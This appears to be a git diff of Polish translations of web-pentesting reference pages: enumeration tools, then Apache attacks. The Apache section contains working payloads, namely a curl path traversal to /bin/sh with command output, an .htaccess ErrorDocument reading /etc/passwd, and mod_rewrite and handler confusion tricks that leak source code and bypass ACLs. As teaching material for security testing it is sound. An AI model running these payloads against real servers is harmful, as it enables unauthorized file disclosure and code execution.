+- **Dirb** / **Dirbuster** - Dołączone w Kali, **stare** (i **wolne**) ale funkcjonalne. Pozwalają na certyfikaty auto-signed i wyszukiwanie rekursywne. Zbyt wolne w porównaniu z innymi opcjami.
+- [**Dirsearch**](https://github.com/maurosoria/dirsearch) (python)**: Nie pozwala na certyfikaty auto-signed, ale** pozwala na wyszukiwanie rekursywne.
+- [**Gobuster**](https://github.com/OJ/gobuster) (go): Pozwala na certyfikaty auto-signed, nie ma jednak wyszukiwania **rekursywnego**.
 - [**Feroxbuster**](https://github.com/epi052/feroxbuster) **- Fast, supports recursive search.**
 - [**wfuzz**](https://github.com/xmendez/wfuzz) `wfuzz -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt https://domain.com/api/FUZZ`
 - [**ffuf** ](https://github.com/ffuf/ffuf)- Fast: `ffuf -c -w /usr/share/wordlists/dirb/big.txt -u http://10.10.10.10/FUZZ`
-- [**uro**](https://github.com/s0md3v/uro) (python): To nie jest spider, ale narzędzie, które dla listy znalezionych URL-i usunie "zduplikowane" URL-e.
-- [**Scavenger**](https://github.com/0xDexter0us/Scavenger): Burp Extension do tworzenia listy katalogów z historii burp dla różnych stron
-- [**TrashCompactor**](https://github.com/michael1026/trashcompactor): Usuwa URL-e z zduplikowaną funkcjonalnością (na podstawie importów js)
-- [**Chamaleon**](https://github.com/iustin24/chameleon): Używa wapalyzer do wykrywania używanych technologii i wyboru wordlist do użycia.
+- [**uro**](https://github.com/s0md3v/uro) (python): To nie jest spider, ale narzędzie, które z listy znalezionych URL-i usuwa "zduplikowane" URL-e.
+- [**Scavenger**](https://github.com/0xDexter0us/Scavenger): Burp Extension do tworzenia listy katalogów z historii Burp dla różnych stron.
+- [**TrashCompactor**](https://github.com/michael1026/trashcompactor): Usuwa URL-e o zduplikowanych funkcjonalnościach (na podstawie importów js).
+- [**Chamaleon**](https://github.com/iustin24/chameleon): Używa wapalyzer do wykrywania użytych technologii i dobiera do nich odpowiednie wordlisty.
 
-Recommended dictionaries:
+**Recommended dictionaries:**
 
 - [https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/bf_directories.txt](https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/bf_directories.txt)
 - [**Dirsearch** included dictionary](https://github.com/maurosoria/dirsearch/blob/master/db/dicc.txt)
@@ -267,41 +268,41 @@ Recommended dictionaries:
 - _/usr/share/wordlists/dirb/big.txt_
 - _/usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt_
 
-_Uwaga: za każdym razem, gdy podczas brute-forcingu lub spideringu odkryty zostanie nowy katalog, powinien on zostać poddany Brute-Forcingowi._
+_Zauważ, że za każdym razem gdy podczas brute-forcingu lub spideringu odkryty zostanie nowy katalog, powinien on być poddany Brute-Forcingowi._
 
 ### What to check on each file found
 
-- [**Broken link checker**](https://github.com/stevenvachon/broken-link-checker): Znajdź broken linki w HTML-ach, które mogą być podatne na takeovery
-- **File Backups**: Po znalezieniu wszystkich plików, szukaj backupów wszystkich plików wykonywalnych ("_.php_", "_.aspx_"...). Typowe warianty nazewnictwa backupu to: _file.ext\~, #file.ext#, \~file.ext, file.ext.bak, file.ext.tmp, file.ext.old, file.bak, file.tmp oraz file.old._ Możesz też użyć narzędzia [**bfac**](https://github.com/mazen160/bfac) **lub** [**backup-gen**](https://github.com/Nishantbhagat57/backup-gen)**.**
-- **Discover new parameters**: Możesz użyć narzędzi takich jak [**Arjun**](https://github.com/s0md3v/Arjun)**,** [**parameth**](https://github.com/maK-/parameth)**,** [**x8**](https://github.com/sh1yo/x8) **oraz** [**Param Miner**](https://github.com/PortSwigger/param-miner) **aby odkryć ukryte parametry. Jeśli możesz, spróbuj wyszukać** ukryte parametry w każdym wykonywalnym pliku webowym.
+- [**Broken link checker**](https://github.com/stevenvachon/broken-link-checker): Znajdź broken links w HTML-ach, które mogą być podatne na takeover.
+- **File Backups**: Po znalezieniu plików, szukaj backupów plików wykonywalnych ("_.php_", "_.aspx_"...). Typowe warianty nazewnictwa backupu to: _file.ext\~, #file.ext#, \~file.ext, file.ext.bak, file.ext.tmp, file.ext.old, file.bak, file.tmp oraz file.old._ Możesz też użyć narzędzia [**bfac**](https://github.com/mazen160/bfac) **lub** [**backup-gen**](https://github.com/Nishantbhagat57/backup-gen)**.**
+- **Discover new parameters**: Możesz użyć narzędzi takich jak [**Arjun**](https://github.com/s0md3v/Arjun)**,** [**parameth**](https://github.com/maK-/parameth)**,** [**x8**](https://github.com/sh1yo/x8) **oraz** [**Param Miner**](https://github.com/PortSwigger/param-miner) **do odkrywania ukrytych parametrów. Jeśli możesz, spróbuj wyszukać** ukryte parametry w każdym wykonywalnym pliku webowym.
 - _Arjun all default wordlists:_ [https://github.com/s0md3v/Arjun/tree/master/arjun/db](https://github.com/s0md3v/Arjun/tree/master/arjun/db)
 - _Param-miner “params” :_ [https://github.com/PortSwigger/param-miner/blob/master/resources/params](https://github.com/PortSwigger/param-miner/blob/master/resources/params)
 - _Assetnote “parameters_top_1m”:_ [https://wordlists.assetnote.io/](https://wordlists.assetnote.io)
 - _nullenc0de “params.txt”:_ [https://gist.github.com/nullenc0de/9cb36260207924f8e1787279a05eb773](https://gist.github.com/nullenc0de/9cb36260207924f8e1787279a05eb773)
-- **Comments:** Sprawdź komentarze we wszystkich plikach, możesz znaleźć w nich **credentials** lub **ukrytą funkcjonalność**.
-- Jeśli grasz w **CTF**, "popularnym" trikiem jest **ukrycie** **informacji** wewnątrz komentarzy po **prawej** stronie **strony** (używając **setek** **spacji**, żeby nie widzieć danych gdy otworzysz źródło w przeglądarce). Inną możliwością jest użycie **wielu nowych linii** i **ukrycie informacji** w komentarzu na **dole** strony.
-- **API keys**: Jeśli **znajdziesz jakikolwiek API key** jest projekt, który pokazuje jak używać kluczy API różnych platform: [**keyhacks**](https://github.com/streaak/keyhacks)**,** [**zile**](https://github.com/xyele/zile.git)**,** [**truffleHog**](https://github.com/trufflesecurity/truffleHog)**,** [**SecretFinder**](https://github.com/m4ll0k/SecretFinder)**,** [**RegHex**](<https://github.com/l4yton/RegHex)/>)**,** [**DumpsterDive**](https://github.com/securing/DumpsterDiver)**,** [**EarlyBird**](https://github.com/americanexpress/earlybird)
-- Google API keys: Jeśli znajdziesz klucz API zaczynający się od **AIza**SyA-qLheq6xjDiEIRisP_ujUseYLQCHUjik możesz użyć projektu [**gmapapiscanner**](https://github.com/ozguralp/gmapsapiscanner) aby sprawdzić, do których API klucz ma dostęp.
-- **S3 Buckets**: Podczas spideringu sprawdź, czy jakikolwiek **subdomain** lub **link** jest powiązany z jakimś **S3 bucket**. W takim przypadku [**sprawdź** uprawnienia bucketu](buckets/index.html).
+- **Comments:** Sprawdź komentarze we wszystkich plikach — możesz znaleźć w nich **credentials** lub **ukrytą funkcjonalność**.
+- Jeśli bierzesz udział w **CTF**, "popularny" trik to **ukrycie** informacji w komentarzach po **prawej** stronie strony (używając setek spacji, żeby nie widzieć danych przy otwarciu źródła w przeglądarce). Inną możliwością jest użycie **kilku nowych linii** i ukrycie informacji w komentarzu na **dole** strony.
+- **API keys**: Jeśli **znajdziesz jakikolwiek API key**, istnieją projekty pokazujące jak wykorzystać API keys dla różnych platform: [**keyhacks**](https://github.com/streaak/keyhacks)**,** [**zile**](https://github.com/xyele/zile.git)**,** [**truffleHog**](https://github.com/trufflesecurity/truffleHog)**,** [**SecretFinder**](https://github.com/m4ll0k/SecretFinder)**,** [**RegHex**](<https://github.com/l4yton/RegHex)/>)**,** [**DumpsterDive**](https://github.com/securing/DumpsterDiver)**,** [**EarlyBird**](https://github.com/americanexpress/earlybird)
+- Google API keys: Jeśli znajdziesz API key zaczynający się od **AIza**SyA-qLheq6xjDiEIRisP_ujUseYLQCHUjik możesz użyć projektu [**gmapapiscanner**](https://github.com/ozguralp/gmapsapiscanner) aby sprawdzić, do których API klucz ma dostęp.
+- **S3 Buckets**: Podczas spideringu sprawdź, czy któryś **subdomain** lub któryś **link** jest powiązany z jakimś **S3 bucket**. W takim przypadku [**sprawdź** uprawnienia bucketu](buckets/index.html).
 
 ### Special findings
 
-**Podczas** wykonywania **spideringu** i **brute-forcingu** możesz znaleźć **interesujące** **rzeczy**, o których musisz **poinformować**.
+Podczas **spideringu** i **brute-forcingu** możesz trafić na **interesujące** **znaleziska**, na które warto zwrócić uwagę.
 
 **Interesujące pliki**
 
-- Szukaj **linków** do innych plików wewnątrz **plików CSS**.
-- [If you find a _**.git**_ file some information can be extracted](git.md)
-- Jeśli znajdziesz plik _**.env**_ można znaleźć informacje takie jak api keys, hasła do dbs i inne dane.
-- Jeśli znajdziesz **API endpoints** powinieneś je [też przetestować](web-api-pentesting.md). To nie są pliki, ale prawdopodobnie "będą wyglądać" jak pliki.
-- **JS files**: W sekcji spideringu wspomniano kilka narzędzi, które potrafią wyciągać ścieżki z plików JS. Warto także **monitorować każdy znaleziony plik JS**, ponieważ w niektórych przypadkach zmiana może wskazywać, że w kodzie pojawiła się potencjalna podatność. Możesz użyć na przykład [**JSMon**](https://github.com/robre/jsmon)**.**
-- Powinieneś także sprawdzić znalezione pliki JS za pomocą [**RetireJS**](https://github.com/retirejs/retire.js/) lub [**JSHole**](https://github.com/callforpapers-source/jshole) aby sprawdzić, czy są podatne.
+- Szukaj **linków** do innych plików wewnątrz plików **CSS**.
+- [Jeśli znajdziesz plik _**.git**_ można wydobyć pewne informacje](git.md)
+- Jeśli znajdziesz _**.env**_, można odszukać takie informacje jak api keys, hasła do db i inne dane.
+- Jeśli znajdziesz **API endpoints**, powinieneś je [też przetestować](web-api-pentesting.md). To nie są pliki, ale prawdopodobnie "będą wyglądać" jak pliki.
+- **JS files**: W sekcji spideringu wspomniano kilka narzędzi do ekstrakcji ścieżek z plików JS. Warto także **monitorować każdy znaleziony plik JS**, bo w niektórych przypadkach zmiana może wskazywać, że potencjalna podatność została wprowadzona do kodu. Możesz użyć np. [**JSMon**](https://github.com/robre/jsmon)**.**
+- Również sprawdź odkryte pliki JS za pomocą [**RetireJS**](https://github.com/retirejs/retire.js/) lub [**JSHole**](https://github.com/callforpapers-source/jshole) w celu wykrycia podatności.
 - **Javascript Deobfuscator and Unpacker:** [https://lelinhtinh.github.io/de4js/](https://lelinhtinh.github.io/de4js/), [https://www.dcode.fr/javascript-unobfuscator](https://www.dcode.fr/javascript-unobfuscator)
 - **Javascript Beautifier:** [http://jsbeautifier.org/](https://beautifier.io), [http://jsnice.org/](http://jsnice.org)
 - **JsFuck deobfuscation** (javascript with chars:"\[]!+" [https://enkhee-osiris.github.io/Decoder-JSFuck/](https://enkhee-osiris.github.io/Decoder-JSFuck/))
 - [**TrainFuck**](https://github.com/taco-c/trainfuck)**:** `+72.+29.+7..+3.-67.-12.+55.+24.+3.-6.-8.-67.-23.`
-- W wielu sytuacjach będziesz musiał **zrozumieć wyrażenia regularne** użyte w kodzie. Przydatne będą: [https://regex101.com/](https://regex101.com) lub [https://pythonium.net/regex](https://pythonium.net/regex)
-- Możesz również **monitorować pliki, w których wykryto formularze**, ponieważ zmiana w parametrze lub pojawienie się nowego formularza może wskazywać na potencjalnie nową podatną funkcjonalność.
+- W wielu przypadkach trzeba będzie **zrozumieć wyrażenia regularne** używane w kodzie. Przydatne strony to: [https://regex101.com/](https://regex101.com) lub [https://pythonium.net/regex](https://pythonium.net/regex)
+- Możesz także **monitorować pliki, w których wykryto formularze**, ponieważ zmiana parametrów lub pojawienie się nowego formularza może wskazywać na potencjalnie nową, podatną funkcjonalność.
 
 **403 Forbidden/Basic Authentication/401 Unauthorized (bypass)**
 
@@ -312,28 +313,28 @@ _Uwaga: za każdym razem, gdy podczas brute-forcingu lub spideringu odkryty zost
 
 **502 Proxy Error**
 
-Jeśli jakaś strona **odpowiada** tym **kodem**, najprawdopodobniej to **źle skonfigurowany proxy**. **Jeśli wyślesz żądanie HTTP takie jak: `GET https://google.com HTTP/1.1`** (z headerem host i innymi typowymi headerami), **proxy** spróbuje **dostępować** się do _**google.com**_ **i znalazłeś** SSRF.
+Jeśli jakaś strona **odpowiada** tym **kodem**, prawdopodobnie mamy do czynienia z **źle skonfigurowanym proxy**. **Jeśli wyślesz żądanie HTTP takie jak: `GET https://google.com HTTP/1.1`** (z nagłówkiem host i innymi standardowymi nagłówkami), **proxy** spróbuje uzyskać dostęp do _**google.com**_ i w ten sposób znajdziesz SSRF.
 
 **NTLM Authentication - Info disclosure**
 
-Jeśli serwer proszący o uwierzytelnienie jest **Windows** lub znajdziesz login żądający twoich **credentials** (i proszący o **domain** **name**), możesz wywołać **ujawnienie informacji**.\
-**Wyślij** nagłówek: `“Authorization: NTLM TlRMTVNTUAABAAAAB4IIAAAAAAAAAAAAAAAAAAAAAAA=”` i z uwagi na to, jak działa **NTLM authentication**, serwer odpowie wewnętrznymi informacjami (wersja IIS, wersja Windows...) w nagłówku "WWW-Authenticate".\
-Możesz to **zautomatyzować** używając **nmap pluginu** "_http-ntlm-info.nse_".
+Jeżeli serwer proszący o autoryzację jest **Windows** lub natrafisz na login proszący o Twoje **credentials** (i proszący o **nazwę domeny**), możesz sprowokować **ujawnienie informacji**.\
+**Wyślij** nagłówek: `“Authorization: NTLM TlRMTVNTUAABAAAAB4IIAAAAAAAAAAAAAAAAAAAAAAA=”` i z uwagi na to jak działa **NTLM authentication**, serwer odpowie wewnętrznymi informacjami (wersja IIS, wersja Windows...) w nagłówku "WWW-Authenticate".\
+Możesz **zautomatyzować** to za pomocą pluginu nmap "_http-ntlm-info.nse_".
 
 **HTTP Redirect (CTF)**
 
-Możliwe jest **włożenie treści** do **redirecta**. Ta treść **nie będzie widoczna dla użytkownika** (ponieważ przeglądarka wykona przekierowanie) ale coś może być **ukryte** w środku.
+Możliwe jest **umieszczenie treści** wewnątrz **Redirectu**. Ta treść **nie będzie widoczna dla użytkownika** (ponieważ przeglądarka wykona przekierowanie), ale coś może być w ten sposób **ukryte**.
 
 ### Web Vulnerabilities Checking
 
-Po wykonaniu kompleksowej enumeracji aplikacji webowej nadszedł czas, aby sprawdzić wiele możliwych podatności. Listę kontrolną znajdziesz tutaj:
+Po wykonaniu kompleksowej enumeracji aplikacji webowej czas na sprawdzenie wielu możliwych podatności. Checklistę znajdziesz tutaj:
 
 
 {{#ref}}
 ../../pentesting-web/web-vulnerabilities-methodology.md
 {{#endref}}
 
-Więcej informacji o web vulns:
+Znajdź więcej informacji o web vulns w:
 
 - [https://six2dez.gitbook.io/pentest-book/others/web-checklist](https://six2dez.gitbook.io/pentest-book/others/web-checklist)
 - [https://kennel209.gitbooks.io/owasp-testing-guide-v4/content/en/web_application_security_testing/configuration_and_deployment_management_testing.html](https://kennel209.gitbooks.io/owasp-testing-guide-v4/content/en/web_application_security_testing/configuration_and_deployment_management_testing.html)

src/network-services-pentesting/pentesting-web/apache.md

@@ -4,11 +4,11 @@
 
 ## Wykonywalne rozszerzenia PHP
 
-Sprawdź, które rozszerzenia są uruchamiane przez serwer Apache. Aby je znaleźć, możesz wykonać:
+Sprawdź, które rozszerzenia są ładowane przez serwer Apache. Aby je wyszukać, możesz wykonać:
 ```bash
 grep -R -B1 "httpd-php" /etc/apache2
 ```
-Ponadto, niektóre miejsca, w których można znaleźć tę konfigurację to:
+Ponadto, niektóre miejsca, w których możesz znaleźć tę konfigurację to:
 ```bash
 /etc/apache2/mods-available/php5.conf
 /etc/apache2/mods-enabled/php5.conf
@@ -21,14 +21,14 @@ curl http://172.18.0.15/cgi-bin/.%2e/.%2e/.%2e/.%2e/.%2e/bin/sh --data 'echo Con
 uid=1(daemon) gid=1(daemon) groups=1(daemon)
 Linux
 ```
-## LFI przez .htaccess ErrorDocument file provider (ap_expr)
+## LFI via .htaccess ErrorDocument file provider (ap_expr)
 
-Jeśli możesz kontrolować .htaccess katalogu i AllowOverride obejmuje FileInfo dla tej ścieżki, możesz przekształcić odpowiedzi 404 w dowolne odczyty lokalnych plików, używając funkcji ap_expr file() wewnątrz ErrorDocument.
+Jeśli możesz kontrolować .htaccess katalogu i AllowOverride dla tej ścieżki zawiera FileInfo, możesz zamienić odpowiedzi 404 w dowolne odczyty lokalnych plików, używając funkcji ap_expr file() wewnątrz ErrorDocument.
 
 - Wymagania:
 - Apache 2.4 z włączonym parserem wyrażeń (ap_expr) (domyślnie w 2.4).
-- vhost/dir musi pozwalać .htaccess na ustawienie ErrorDocument (AllowOverride FileInfo).
-- Użytkownik procesu Apache musi mieć uprawnienia do odczytu docelowego pliku.
+- vhost/dir musi umożliwiać .htaccess ustawienie ErrorDocument (AllowOverride FileInfo).
+- Użytkownik workera Apache musi mieć uprawnienia do odczytu docelowego pliku.
 
 .htaccess payload:
 ```apache
@@ -37,17 +37,17 @@ Header always set X-Debug-Tenant "demo"
 # On any 404 under this directory, return the contents of an absolute filesystem path
 ErrorDocument 404 %{file:/etc/passwd}
 ```
-Wywołaj, żądając dowolnej nieistniejącej ścieżki w tym katalogu, na przykład podczas nadużywania hostingu w stylu userdir:
+Wywołaj, wysyłając żądanie do dowolnej nieistniejącej ścieżki w tym katalogu, na przykład przy nadużyciu userdir-style hosting:
 ```bash
 curl -s http://target/~user/does-not-exist | sed -n '1,20p'
 ```
-Notatki i wskazówki:
-- Działają tylko ścieżki bezwzględne. Zawartość jest zwracana jako ciało odpowiedzi dla obsługi 404.
-- Efektywne uprawnienia do odczytu są takie, jak użytkownika Apache (zazwyczaj www-data/apache). Nie odczytasz /root/* ani /etc/shadow w domyślnych konfiguracjach.
-- Nawet jeśli .htaccess jest własnością root, jeśli katalog nadrzędny należy do tenant i pozwala na zmianę nazwy, możesz być w stanie zmienić nazwę oryginalnego .htaccess i przesłać własny zamiennik przez SFTP/FTP:
+Notes and tips:
+- Działają tylko ścieżki bezwzględne. Zawartość jest zwracana jako body odpowiedzi dla handlera 404.
+- Efektywne uprawnienia do odczytu są takie, jak użytkownika Apache (zazwyczaj www-data/apache). Nie będziesz mógł odczytać /root/* ani /etc/shadow w domyślnych konfiguracjach.
+- Nawet jeśli .htaccess jest własnością root, jeśli katalog nadrzędny należy do tenant-a i pozwala na rename, możesz być w stanie zmienić nazwę oryginalnego .htaccess i wgrać własne zastąpienie przez SFTP/FTP:
 - rename .htaccess .htaccess.bk
 - put your malicious .htaccess
-- Użyj tego, aby odczytać źródła aplikacji w DocumentRoot lub w ścieżkach konfiguracji vhost i wydobyć sekrety (DB creds, API keys, itd.).
+- Użyj tego, aby czytać kod aplikacji pod DocumentRoot lub w ścieżkach konfiguracji vhost i zebrać sekrety (DB creds, API keys, etc.).
 
 ## Confusion Attack <a href="#a-whole-new-attack-confusion-attack" id="a-whole-new-attack-confusion-attack"></a>
 
@@ -61,7 +61,7 @@ The **`mod_rewrite`** will trim the content of `r->filename` after the character
 
 - **Path Truncation**
 
-Możliwe jest nadużycie `mod_rewrite` jak w poniższym przykładzie reguły, aby uzyskać dostęp do innych plików w systemie plików, usuwając ostatnią część oczekiwanej ścieżki przez dodanie po prostu `?`:
+It's possible to abuse `mod_rewrite` like in the following rule example to access other files inside the file system, removing the last part of the expected path adding simply a `?`:
 ```bash
 RewriteEngine On
 RewriteRule "^/user/(.+)$" "/var/user/$1/profile.yml"
@@ -76,7 +76,7 @@ curl http://server/user/orange%2Fsecret.yml%3F
 ```
 - **Mislead RewriteFlag Assignment**
 
-W poniższej regule rewrite, dopóki URL kończy się na .php, będzie on traktowany i wykonywany jako php. Dlatego możliwe jest wysłanie URL, który kończy się na .php po znaku `?`, przy jednoczesnym wczytaniu w ścieżce innego typu pliku (np. obrazu) zawierającego złośliwy kod php:
+W poniższej regule przepisywania, dopóki URL kończy się na .php, będzie on traktowany i wykonywany jako php. Dlatego możliwe jest przesłanie URL, który kończy się na .php po znaku `?`, podczas gdy w ścieżce ładowany jest inny typ pliku (np. obraz) zawierający złośliwy kod php wewnątrz niego:
 ```bash
 RewriteEngine On
 RewriteRule  ^(.+\.php)$  $1  [H=application/x-httpd-php]
@@ -91,7 +91,7 @@ curl http://server/upload/1.gif%3fooo.php
 ```
 #### **ACL Bypass**
 
-Możliwe jest uzyskanie dostępu do plików, do których użytkownik nie powinien mieć dostępu, nawet jeśli dostęp powinien być zablokowany przy konfiguracjach takich jak:
+Możliwe jest uzyskanie dostępu do plików, do których użytkownik nie powinien mieć dostępu, nawet jeśli dostęp powinien być zablokowany przez konfiguracje takie jak:
 ```xml
 <Files "admin.php">
 AuthType Basic
@@ -100,20 +100,20 @@ AuthUserFile "/etc/apache2/.htpasswd"
 Require valid-user
 </Files>
 ```
-To dlatego, że domyślnie PHP-FPM otrzymuje URL-e kończące się na `.php`, np. `http://server/admin.php%3Fooo.php`, a ponieważ PHP-FPM usuwa wszystko po znaku `?`, powyższy URL pozwoli załadować `/admin.php` nawet jeśli poprzednia reguła tego zabraniała.
+Jest tak, ponieważ domyślnie PHP-FPM otrzyma URL-e kończące się na `.php`, jak `http://server/admin.php%3Fooo.php`, i ponieważ PHP-FPM usunie wszystko po znaku `?`, poprzedni URL pozwoli na załadowanie `/admin.php`, nawet jeśli wcześniejsza reguła tego zabraniała.
 
-### Zamieszanie związane z DocumentRoot
+### Nieporozumienie wokół DocumentRoot
 ```bash
 DocumentRoot /var/www/html
 RewriteRule  ^/html/(.*)$   /$1.html
 ```
-Ciekawostka dotycząca Apache: powyższy rewrite będzie próbował uzyskać dostęp do pliku zarówno z documentRoot, jak i z root. Tak więc żądanie do `https://server/abouth.html` sprawdzi istnienie pliku w `/var/www/html/about.html` oraz w `/about.html` w systemie plików. Co w praktyce można wykorzystać do uzyskania dostępu do plików w systemie plików.
+Ciekawostka o Apache: poprzedni rewrite spróbuje uzyskać dostęp do pliku zarówno z documentRoot, jak i z root. Zatem żądanie do `https://server/abouth.html` sprawdzi obecność pliku w `/var/www/html/about.html` oraz w `/about.html` w systemie plików. To w praktyce można wykorzystać do uzyskania dostępu do plików w systemie plików.
 
 #### **Ujawnienie kodu źródłowego po stronie serwera**
 
 - **Ujawnij kod źródłowy CGI**
 
-Wystarczy dodać %3F na końcu, aby spowodować leak kodu źródłowego modułu cgi:
+Wystarczy dodanie %3F na końcu, aby spowodować leak kodu źródłowego modułu CGI:
 ```bash
 curl http://server/cgi-bin/download.cgi
 # the processed result from download.cgi
@@ -123,9 +123,9 @@ curl http://server/html/usr/lib/cgi-bin/download.cgi%3F
 # ...
 # # the source code of download.cgi
 ```
-- **Ujawnij kod źródłowy PHP**
+- **Ujawnij PHP Source Code**
 
-Jeśli serwer obsługuje różne domeny, a jedna z nich jest domeną statyczną, można to wykorzystać do przeszukiwania systemu plików i leak php code:
+Jeśli serwer ma różne domeny, z których jedna jest domeną statyczną, można to wykorzystać do przeszukiwania systemu plików i leak php code:
 ```bash
 # Leak the config.php file of the www.local domain from the static.local domain
 curl http://www.local/var/www.local/config.php%3F -H "Host: static.local"
@@ -133,14 +133,14 @@ curl http://www.local/var/www.local/config.php%3F -H "Host: static.local"
 ```
 #### **Local Gadgets Manipulation**
 
-Głównym problemem poprzedniego ataku jest to, że domyślnie większość dostępu do systemu plików zostanie zablokowana, jak w Apache HTTP Server’s [configuration template](https://github.com/apache/httpd/blob/trunk/docs/conf/httpd.conf.in#L115):
+Głównym problemem poprzedniego ataku jest to, że domyślnie większość dostępu do systemu plików będzie odmówiona, jak w Apache HTTP Server’s [configuration template](https://github.com/apache/httpd/blob/trunk/docs/conf/httpd.conf.in#L115):
 ```xml
 <Directory />
 AllowOverride None
 Require all denied
 </Directory>
 ```
-Jednak systemy operacyjne [Debian/Ubuntu](https://sources.debian.org/src/apache2/2.4.62-1/debian/config-dir/apache2.conf.in/#L165) domyślnie zezwalają na `/usr/share`:
+Jednak systemy [Debian/Ubuntu](https://sources.debian.org/src/apache2/2.4.62-1/debian/config-dir/apache2.conf.in/#L165) domyślnie zezwalają na `/usr/share`:
 ```xml
 <Directory /usr/share>
 AllowOverride None
@@ -149,36 +149,36 @@ Require all granted
 ```
 Dlatego możliwe byłoby **wykorzystanie plików znajdujących się w `/usr/share` w tych dystrybucjach.**
 
-**Local Gadget to Information Disclosure**
+**Lokalny gadget do ujawnienia informacji**
 
-- **Apache HTTP Server** z **websocketd** może ujawnić skrypt **dump-env.php** pod **/usr/share/doc/websocketd/examples/php/**, który może leak wrażliwe zmienne środowiskowe.
-- Serwery z **Nginx** lub **Jetty** mogą ujawnić sensitive web application information (np. **web.xml**) przez swoje domyślne web rooty umieszczone pod **/usr/share**:
+- **Apache HTTP Server** z **websocketd** może ujawniać skrypt **dump-env.php** w **/usr/share/doc/websocketd/examples/php/**, który może leak wrażliwe zmienne środowiskowe.
+- Serwery z **Nginx** lub **Jetty** mogą ujawniać wrażliwe informacje aplikacji webowej (np. **web.xml**) przez swoje domyślne web rooty umieszczone pod **/usr/share**:
 - **/usr/share/nginx/html/**
 - **/usr/share/jetty9/etc/**
 - **/usr/share/jetty9/webapps/**
 
-**Local Gadget to XSS**
+**Lokalny gadget do XSS**
 
-- Na Ubuntu Desktop z zainstalowanym **LibreOffice**, wykorzystanie funkcji zmiany języka w plikach pomocy może doprowadzić do **Cross-Site Scripting (XSS)**. Manipulacja URL-em pod **/usr/share/libreoffice/help/help.html** może przekierować do złośliwych stron lub starszych wersji przez unsafe RewriteRule.
+- Na Ubuntu Desktop z zainstalowanym **LibreOffice**, wykorzystanie funkcji przełączania języka w plikach pomocy może prowadzić do **Cross-Site Scripting (XSS)**. Manipulacja URL-em w **/usr/share/libreoffice/help/help.html** może przekierować na złośliwe strony lub starsze wersje przez niebezpieczne **RewriteRule**.
 
-**Local Gadget to LFI**
+**Lokalny gadget do LFI**
 
-- Jeśli PHP lub niektóre front-endowe pakiety jak **JpGraph** czy **jQuery-jFeed** są zainstalowane, ich pliki mogą zostać wykorzystane do odczytu wrażliwych plików jak **/etc/passwd**:
+- Jeśli PHP lub pewne pakiety front-endowe, takie jak **JpGraph** czy **jQuery-jFeed**, są zainstalowane, ich pliki mogą zostać wykorzystane do odczytu wrażliwych plików, takich jak **/etc/passwd**:
 - **/usr/share/doc/libphp-jpgraph-examples/examples/show-source.php**
 - **/usr/share/javascript/jquery-jfeed/proxy.php**
 - **/usr/share/moodle/mod/assignment/type/wims/getcsv.php**
 
-**Local Gadget to SSRF**
+**Lokalny gadget do SSRF**
 
-- Wykorzystanie **MagpieRSS's magpie_debug.php** w **/usr/share/php/magpierss/scripts/magpie_debug.php** może łatwo stworzyć SSRF, dając wejście do dalszych exploitów.
+- Wykorzystanie **MagpieRSS** i pliku **magpie_debug.php** w **/usr/share/php/magpierss/scripts/magpie_debug.php** może łatwo stworzyć lukę SSRF, otwierając drogę do dalszych exploitów.
 
-**Local Gadget to RCE**
+**Lokalny gadget do RCE**
 
-- Okazji do **Remote Code Execution (RCE)** jest wiele — podatne instalacje jak przestarzałe **PHPUnit** czy **phpLiteAdmin** mogą zostać wykorzystane do wykonania dowolnego kodu, pokazując szeroki potencjał manipulacji lokalnymi gadgetami.
+- Możliwości Remote Code Execution (RCE) są rozległe — podatne instalacje, takie jak przestarzałe **PHPUnit** czy **phpLiteAdmin**, mogą zostać wykorzystane do wykonania dowolnego kodu, co pokazuje szeroki potencjał manipulacji lokalnymi gadgetami.
 
 #### **Jailbreak z lokalnych gadgetów**
 
-Możliwe jest także jailbreak z dozwolonych folderów przez podążanie za symlinkami tworzonymi przez zainstalowane oprogramowanie w tych folderach, np.:
+Możliwe jest także wykonanie jailbreaku z dozwolonych folderów przez śledzenie symlinków generowanych przez zainstalowane oprogramowanie w tych folderach, takich jak:
 
 - **Cacti Log**: `/usr/share/cacti/site/` -> `/var/log/cacti/`
 - **Solr Data**: `/usr/share/solr/data/` -> `/var/lib/solr/data`
@@ -186,55 +186,55 @@ Możliwe jest także jailbreak z dozwolonych folderów przez podążanie za syml
 - **MediaWiki Config**: `/usr/share/mediawiki/config/` -> `/var/lib/mediawiki/config/`
 - **SimpleSAMLphp Config**: `/usr/share/simplesamlphp/config/` -> `/etc/simplesamlphp/`
 
-Co więcej, poprzez nadużycie symlinków możliwe było uzyskanie **RCE in Redmine.**
+Co więcej, przez nadużycie symlinków możliwe było uzyskanie **RCE in Redmine.**
 
-### Zamieszanie z handlerami <a href="#id-3-handler-confusion" id="id-3-handler-confusion"></a>
+### Zamieszanie handlerów <a href="#id-3-handler-confusion" id="id-3-handler-confusion"></a>
 
-Ten atak wykorzystuje nakładanie się funkcjonalności dyrektyw `AddHandler` i `AddType`, które obie mogą być użyte do **włączenia przetwarzania PHP**. Początkowo te dyrektywy wpływały na różne pola (`r->handler` oraz `r->content_type` odpowiednio) w wewnętrznej strukturze serwera. Jednak ze względu na legacy code, Apache traktuje te dyrektywy zamiennie w pewnych warunkach, konwertując `r->content_type` na `r->handler` jeśli pierwsze jest ustawione, a drugie nie.
+Ten atak wykorzystuje nakładanie się funkcjonalności między dyrektywami `AddHandler` i `AddType`, które obie mogą być użyte do włączenia przetwarzania PHP. Początkowo dyrektywy te wpływały na różne pola (`r->handler` i `r->content_type` odpowiednio) w wewnętrznej strukturze serwera. Jednak z powodu legacy code, Apache obsługuje te dyrektywy zamiennie w określonych warunkach, konwertując `r->content_type` na `r->handler` jeśli pierwsze jest ustawione, a drugie nie.
 
-Co więcej, w Apache HTTP Server (`server/config.c#L420`), jeśli `r->handler` jest puste przed wywołaniem `ap_run_handler()`, serwer **używa `r->content_type` jako handlera**, efektywnie czyniąc `AddType` i `AddHandler` równoważnymi w skutku.
+Co więcej, w Apache HTTP Server (`server/config.c#L420`), jeśli `r->handler` jest pusty przed wykonaniem `ap_run_handler()`, serwer używa `r->content_type` jako handlera, efektywnie czyniąc `AddType` i `AddHandler` identycznymi pod względem działania.
 
-#### **Overwrite Handler to Disclose PHP Source Code**
+#### **Nadpisanie handlera w celu ujawnienia kodu źródłowego PHP**
